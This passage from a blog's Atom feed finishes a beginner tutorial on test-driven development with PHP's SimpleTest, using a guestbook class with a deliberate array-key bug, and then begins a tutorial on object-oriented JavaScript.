&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self::&lt;span class=&quot;vars&quot;&gt;$_entries&lt;/span&gt;[]&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;array&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;notname&#39;&lt;/span&gt;&amp;nbsp;=&amp;gt;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$name&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;notmessage&#39;&lt;/span&gt;&amp;nbsp;=&amp;gt;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$message&lt;/span&gt;&amp;nbsp;);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//oops,&amp;nbsp;there&#39;s&amp;nbsp;a&amp;nbsp;bug&amp;nbsp;here&amp;nbsp;somewhere&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;true;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;deleteAll()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;We&amp;nbsp;just&amp;nbsp;set&amp;nbsp;the&amp;nbsp;$_entries&amp;nbsp;array&amp;nbsp;to&amp;nbsp;simulate&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self::&lt;span class=&quot;vars&quot;&gt;$_entries&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;array&lt;/span&gt;();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;true;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;php&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;&amp;lt;?php
class Guestbook
{
 // To save time, instead of creating and connecting to a database, we&#39;re going to
 // simulate a &quot;database&quot; by creating a static entries array here.
 // It will be like we have two entries in the table.
 private static $_entries = array(
  array (
   &#39;name&#39; =&amp;gt; &#39;Kirk&#39;,
   &#39;message&#39; =&amp;gt; &#39;Hi, I\&#39;m Kirk.&#39;
  ),
  array (
   &#39;name&#39; =&amp;gt; &#39;Ted&#39;,
   &#39;message&#39; =&amp;gt; &#39;Hi, I\&#39;m Ted.&#39;
  )
 );
 public function viewAll() {
  // Here, we should retrieve all the records from the database.
  // This is simulated by returning the $_entries array
  return self::$_entries;
 }
 public function add( $name, $message ) {
  // Here, we simulate insertion into the database by adding a new record into the $_entries array
  // This is the correct way to do it: self::$_entries[] = array(&#39;name&#39; =&amp;gt; $name, &#39;message&#39; =&amp;gt; $message );
  self::$_entries[] = array(&#39;notname&#39; =&amp;gt; $name, &#39;notmessage&#39; =&amp;gt; $message ); //oops, there&#39;s a bug here somewhere
  return true;
 }
 public function deleteAll() {
  // We just set the $_entries array to simulate
  self::$_entries = array();
  return true;
 }
}
&lt;/pre&gt;
This guestbook.php class has some bugs in it on purpose, so we can see what it looks like if our test fails.&lt;br /&gt;
Once we run our test, we should see something like this:&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/runwithbug.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/runwithbug.jpg&quot; style=&quot;display: inline;&quot; /&gt;&lt;/div&gt;
The test output shows us in which test and in which assertion our code failed. From this, we can easily pinpoint that line 16 and 17 was the assertion that threw the error.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;require_once&lt;/span&gt;(dirname(&lt;span class=&quot;keyword&quot;&gt;__FILE__&lt;/span&gt;)&amp;nbsp;.&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;/simpletest/autorun.php&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;require_once&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;../classes/guestbook.php&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&amp;nbsp;TestGuestbook&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;extends&lt;/span&gt;&amp;nbsp;UnitTestCase&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$this&lt;/span&gt;-&amp;gt;assertTrue(isset(&lt;span class=&quot;vars&quot;&gt;$entry&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;&#39;name&#39;&lt;/span&gt;]));&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$this&lt;/span&gt;-&amp;gt;assertTrue(isset(&lt;span class=&quot;vars&quot;&gt;$entry&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;&#39;message&#39;&lt;/span&gt;]));&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;php&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;&amp;lt;?php
require_once(dirname(__FILE__) . &#39;/simpletest/autorun.php&#39;);
require_once(&#39;../classes/guestbook.php&#39;);
class TestGuestbook extends UnitTestCase {
...
...
...
 $this-&amp;gt;assertTrue(isset($entry[&#39;name&#39;]));
 $this-&amp;gt;assertTrue(isset($entry[&#39;message&#39;]));
...
...
...
}
&lt;/pre&gt;
This clearly tells us that the returned entry array did not have the correct array key. Based on this, we’ll easily know which part of our code went wrong.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&amp;nbsp;Guestbook&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;add(&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$name&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$message&lt;/span&gt;&amp;nbsp;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Here,&amp;nbsp;we&amp;nbsp;simulate&amp;nbsp;insertion&amp;nbsp;into&amp;nbsp;the&amp;nbsp;database&amp;nbsp;by&amp;nbsp;adding&amp;nbsp;a&amp;nbsp;new&amp;nbsp;record&amp;nbsp;into&amp;nbsp;the&amp;nbsp;$_entries&amp;nbsp;array&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self::&lt;span class=&quot;vars&quot;&gt;$_entries&lt;/span&gt;[]&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;array&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;name&#39;&lt;/span&gt;&amp;nbsp;=&amp;gt;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$name&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;message&#39;&lt;/span&gt;&amp;nbsp;=&amp;gt;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$message&lt;/span&gt;&amp;nbsp;);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//fixed!&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;true;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;...&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;php&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;&amp;lt;?php
class Guestbook
{
...
...
...
 public function add( $name, $message ) {
  // Here, we simulate insertion into the database by adding a new record into the $_entries array
  self::$_entries[] = array(&#39;name&#39; =&amp;gt; $name, &#39;message&#39; =&amp;gt; $message ); //fixed!
  return true;
 }
...
...
...
}
&lt;/pre&gt;
Now, when we run our test again, it should show us:&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/success.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/success.jpg&quot; style=&quot;display: inline;&quot; /&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 6. Refactor and Refine Your Code&lt;/h2&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/garbagetogold.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/garbagetogold.jpg&quot; style=&quot;display: inline;&quot; /&gt;&lt;br /&gt;
&lt;small&gt;Images courtesy of &lt;a href=&quot;http://www.osborneink.com/category/gold-standard&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;www.osborneink.com&#39;]);&quot; target=&quot;_blank&quot;&gt;http://www.osborneink.com&lt;/a&gt; and &lt;a href=&quot;http://phuketnews.phuketindex.com/environment/rasada-big-cleaning-day-is-scheduled-on-feb-20th-173718.html&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;phuketnews.phuketindex.com&#39;]);&quot; target=&quot;_blank&quot;&gt;http://phuketnews.phuketindex.com&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
Since the code we’re testing here is pretty simple, our testing and bug fixing didn’t last very long. But if this was a more complex application, you’d have to make multiple changes to your code, make it cleaner so it’s easier to maintain, and a lot of other things. The problem with this, though, is that change usually introduces additional bugs. This is where our automated test comes in—once we make changes, we can simply run the test again. If it still passes, then it means we didn’t break anything. If it fails, we know that we made a mistake. It also informs us where the problem is, and, hopefully, how we’ll be able to fix it.&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 7. Rinse and Repeat&lt;/h2&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/rinserepeat.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/rinserepeat.jpg&quot; style=&quot;display: inline;&quot; /&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://www.philstockworld.com/2009/06/21/7-steps-to-40-annual-returns/&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;www.philstockworld.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://www.philstockworld.com&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
Eventually, when your program requires new functionality, you’ll need to write new tests. That’s easy! Rinse and repeat the procedures from step two (since your SimpleTest files should already be set up), and start the cycle all over again.&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Conclusion&lt;/h2&gt;
There are a lot more in-depth test-driven development articles out there, and even more functionality to SimpleTest than what was displayed in this article—things like mock objects, stubs, which make it easier to create tests. If you’d like to read more, Wikipedia’s &lt;a href=&quot;http://en.wikipedia.org/wiki/Test-driven_development&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;en.wikipedia.org&#39;]);&quot; target=&quot;_blank&quot;&gt;test-driven development&lt;/a&gt; page should set you on the right path. If you’re keen on using SimpleTest as your testing framework, browse the &lt;a href=&quot;http://simpletest.org/en/overview.html&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;simpletest.org&#39;]);&quot; target=&quot;_blank&quot;&gt;online documentation&lt;/a&gt; and be sure to review its other features.&lt;br /&gt;
Testing is an integral part of the development cycle, however, it’s too often the first thing to be cut when deadlines are imminent. Hopefully, after reading this article, you’ll appreciate how helpful it is to invest in test-driven development.&lt;br /&gt;
What are your thoughts on Test-Driven Development? Is it something you’re interested in implementing, or do you think it’s a waste of time? Let me know in the comments!&lt;fb:like class=&quot;fb_edge_widget_with_comment fb_iframe_widget&quot; fb-xfbml-state=&quot;rendered&quot; height=&quot;30&quot; layout=&quot;standard&quot; width=&quot;450&quot;&gt;&lt;/fb:like&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/3535594310130631195/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/the-newbies-guide-to-test-driven.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/3535594310130631195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/3535594310130631195'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/the-newbies-guide-to-test-driven.html' title='The Newbie’s Guide to Test-Driven Development'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-9201711133144075593</id><published>2013-02-03T10:37:00.002-08:00</published><updated>2013-02-03T10:37:33.017-08:00</updated><title type='text'>The Basics of Object-Oriented JavaScript</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;script type=&quot;text/javascript&quot;&gt;/*&lt;![CDATA[*///
(function($) { $(function() { WpPostRatings({context: $(&#39;#post-7670&#39;), post_id: 7670, rpc: &#39;http://net.tutsplus.com/wp-admin/admin-ajax.php&#39;, base_url: &#39;http://net.tutsplus.com&#39;, allow_voting: true}).init() })})(jQuery)
//]]&gt;/*]]&gt;*/&lt;/script&gt;&lt;br /&gt;
Over recent years, JavaScript has increasingly gained popularity, partly due to libraries that are developed to make JavaScript apps/effects easier to create for those who may not have fully grasped the core language yet.&lt;br /&gt;
While in the past it was a common argument that JavaScript was a basic language and was very ‘slap dash’ with no real foundation; this is no longer the case, especially with the introduction of high scale web applications and ‘adaptations’ such as JSON (JavaScript Object Notation).&lt;br /&gt;
&lt;span id=&quot;more-7670&quot;&gt;&lt;/span&gt;&lt;br /&gt;
JavaScript can have all that an Object-Orientated language has to offer, albeit with some extra effort outside of the scope of this article.&lt;br /&gt;
&lt;h3&gt;
Let’s Create an Object&lt;/h3&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;myObject(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    function myObject(){
    };
&lt;/pre&gt;
Congratulations, you just created an object. There are two ways to&lt;br /&gt; create a JavaScript object: they are ‘Constructor functions’ and&lt;br /&gt; ‘Literal notation’. The one above is a Constructor function,&lt;br /&gt; I’ll explain what the difference is shortly, but before I do, here&lt;br /&gt; is what an Object definition looks like using literal notation.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;myObject&amp;nbsp;=&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    var myObject = {
    };
&lt;/pre&gt;
Literal is a preferred option for name spacing so that your JavaScript&lt;br /&gt; code doesn’t interfere (or vice versa) with other scripts running on the&lt;br /&gt; page and also if you are using this object as a single object and not requiring&lt;br /&gt; more than one instance of the object, whereas Constructor function type&lt;br /&gt; notation is preferred if you need to do some initial work before the object&lt;br /&gt; is created or require multiple instances  of the object where each instance&lt;br /&gt; can be changed during the lifetime of the script. Let’s continue to build&lt;br /&gt; on both our objects simultaneously so we can observe what the differences are.&lt;br /&gt;
&lt;h3&gt;
Defining Methods and Properties&lt;/h3&gt;
&lt;h4&gt;
Constructor version:&lt;/h4&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;myObject(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.iAm&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;an&amp;nbsp;object&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.whatAmI&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(&lt;span class=&quot;string&quot;&gt;&#39;I&amp;nbsp;am&amp;nbsp;&#39;&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.iAm);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    function myObject(){
        this.iAm = &#39;an object&#39;;
        this.whatAmI = function(){
            alert(&#39;I am &#39; + this.iAm);
        };
    };
&lt;/pre&gt;
&lt;h4&gt;
Literal version:&lt;/h4&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
